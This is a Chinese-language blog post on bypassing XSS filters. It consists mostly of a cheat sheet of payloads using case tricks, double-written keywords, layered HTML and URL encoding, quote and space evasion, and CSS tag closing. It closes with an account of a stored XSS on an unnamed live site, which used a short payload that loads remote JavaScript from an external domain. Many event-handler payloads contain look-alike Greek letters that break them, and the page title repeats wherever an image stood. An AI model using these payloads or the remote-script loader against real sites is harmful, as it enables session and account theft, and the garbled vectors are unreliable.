XSS 绕过思路 bypass 之日天日地日空气

前文

XSS 绕过思路 bypass 之日天日地日空气

Hello,大家好,我是None Sec的C_soon5,今天给大家讲讲XSS Bypass

 

XSS挖掘思路

1:输入点和输出点进行XSS

输入点

URL参数

表单内容

JSONP

 

输出点

输出在标签之间,例如:<script>输出</script>

输出在属性之中,例如:<input value="输出" name="keyword">

输出在注释之中,例如://document.getElementById("order_select").value="输出"

 

2:扫描器

这里强烈推荐Xray,配合被动扫描,简直比一刀999还爽

 

Bypass

之前我根据CTF特训营的XSS Bypass写了篇文章:XSS绕WAF,大家可以看看

 

1:未经过任何过滤直接输出

<script>alert(1)</script>

<svg/οnlοad=alert(1)>

<img src=# οnerrοr=alert(1)>

<img src=# οnerrοr="javascript:alert(1)">

<a href=# οnmοuseοver=alert(1)>click</a>

<a href="javascript:alert(1)">click</a>

<iframe/οnlοad=alert(1)></iframe>

 

2:过滤关键字绕过

a、大小写绕过(仅限于未先转换为小写,直接替换关键字的情形)

<Script>alert(1)</scRipt>

<img srC=# onError=alErt(1)></img>

<a href=# onMouseover=Alert(1)></a>

 

b、双写关键词绕过(仅限于将关键字替换为空的情形,且仅仅替换一次的情形)

<scriscriptpt>alert(1)</scscriptript>

<img src=# onerronerroror=alert(1)></img>

 

c、编码绕过

编码绕过知识不是很了解,可以看我之前的文章:XSS编码绕过讲解

 

放一些我常用的编码网站:编码解码在线、107000工具站、jsons、HTML字符实体转换

 

HTML实体字符    

注意:标签名不能被编码

 

这里能绕过的原因就是因为HTML编码的地方在属性中,会自动解码

编码前

<a href="javascript:alert(1)">        

 

编码后

<a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">click</a>

 

在放一个经典的例子

<a href="%26%23x6a%3B%26%23x61%3B%26%23x76%3B%26%23x61%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70%3B%0A%26%23x74%3B%26%23x3a%3B%26%23x25%3B%26%23x35%3B%26%23x63%3B%26%23x25%3B%26%23x37%3B%26%23x35%3B%26%23x25%3B%26%23x33%3B%0A%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x36%3B%26%23x25%3B%26%23x33%3B%26%23x31%3B%0A%26%23x25%3B%26%23x35%3B%26%23x63%3B%26%23x25%3B%26%23x37%3B%26%23x35%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%0A%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x36%3B%26%23x25%3B%26%23x36%3B%26%23x33%3B%26%23x25%3B%26%23x35%3B%0A%26%23x63%3B%26%23x25%3B%26%23x37%3B%26%23x35%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%0A%26%23x25%3B%26%23x33%3B%26%23x36%3B%26%23x25%3B%26%23x33%3B%26%23x35%3B%26%23x25%3B%26%23x35%3B%26%23x63%3B%26%23x25%3B%0A%26%23x37%3B%26%23x35%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%0A%26%23x37%3B%26%23x25%3B%26%23x33%3B%26%23x32%3B%26%23x25%3B%26%23x35%3B%26%23x63%3B%26%23x25%3B%26%23x37%3B%26%23x35%3B%0A%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x30%3B%26%23x25%3B%26%23x33%3B%26%23x37%3B%26%23x25%3B%0A%26%23x33%3B%26%23x34%3B%26%23x28%3B%26%23x31%3B%26%23x35%3B%26%23x29%3B">click</a>

最后的形式是以URL形式的,因为实体化中有#,#中在URL是注释的意思,传不过去

 

解码顺序:URL->HTML->URL->JS

 

编码顺序:JS->URL->HTML->URL(与解码顺序相反)

 

XSS 绕过思路 bypass 之日天日地日空气

 

因为在属性中,所以先HTML解码,结果如下

XSS 绕过思路 bypass 之日天日地日空气

 

然后因为在href,所以进行URL编码

XSS 绕过思路 bypass 之日天日地日空气

 

最后因为Schema为Javascript,进行JS解码

XSS 绕过思路 bypass 之日天日地日空气

 

最终结果就是:<a href="javascript:alert(15)">    

XSS 绕过思路 bypass 之日天日地日空气

XSS 绕过思路 bypass 之日天日地日空气

 

3:过滤引号绕过

a、使用“/”替换引号

<script>alert(/hello/)</script>

<svg/οnlοad=alert(/hello/)>

<iframe/οnlοad=alert(/hello/)></iframe>

<img src=# οnerrοr=alert(/hello/)>

 

b、使用String.fromCharCode

fromCharCode可以对利用代码中的引号进行编码处理,但是需要利用eval函数结合进行使用

编码前

<script>alert('insight-labs')</script>

 

编码后<script>eval(String.fromCharCode(97,108,101,114,116,40,39,105,110,115,105,103,104,116,45,108,97,98,115,39,41))</script>

 

4:过滤空格绕过

使用%0d、%0a绕过

编码前:<img src=x οnerrοr=alert(1)>

 

编码后:<img%0dsrc=1%0dοnerrοr=alert(/1/)>

 

<svg/οnlοad=alert(1)>  标签名称和第一个属性间可以使用 "/" 代替空格

 

扩展知识点

1:拦截JS黑魔法

首先要了解CSS语法的知识,简单选择器和复杂选择器,定义在<style>标签中,结尾有分号

 

简单选择器

XSS 绕过思路 bypass 之日天日地日空气

XSS 绕过思路 bypass 之日天日地日空气

 

复杂选择器

XSS 绕过思路 bypass 之日天日地日空气

 

黑魔法

思路:导入一张图片,用 )}</style> 标签闭合,进行XSS

XSS 绕过思路 bypass 之日天日地日空气

XSS 绕过思路 bypass 之日天日地日空气

 

2:JS解析模型

a.源码处理

判断代码语法是否正确

XSS 绕过思路 bypass 之日天日地日空气

 

b.函数变量注册

函数和变量注册到全局中

XSS 绕过思路 bypass 之日天日地日空气

XSS 绕过思路 bypass 之日天日地日空气

 

实例

这里放一个某专属的存储XSS

思路 当时就是在个人介绍处 输入<a> 嗯 没有过滤 感觉有戏了

 

然后就直接上payload:<img src=x οnerrοr=alert(1)>

 

然后就发现过滤了事件属性和敏感的关键词 

 

然后经过了几次的尝试发现 还有长度限制 30位 

但是<script>标签没有过滤呀 没有</script>的闭合也是没用的

 

我就懵逼了 这样的话 就算能过这个 也没有办法利用阿 肯定危害降低了

 

不行没啥思路了 去群里求救  这里z神闪亮登场了 

 

来个一个 超短的payload:

<script src=㎜₨.㏄></script>

 

把js文件当做首页就完事 只需要26个字符串

(时间太久已经没图了 哈哈哈哈哈)

XSS 绕过思路 bypass 之日天日地日空气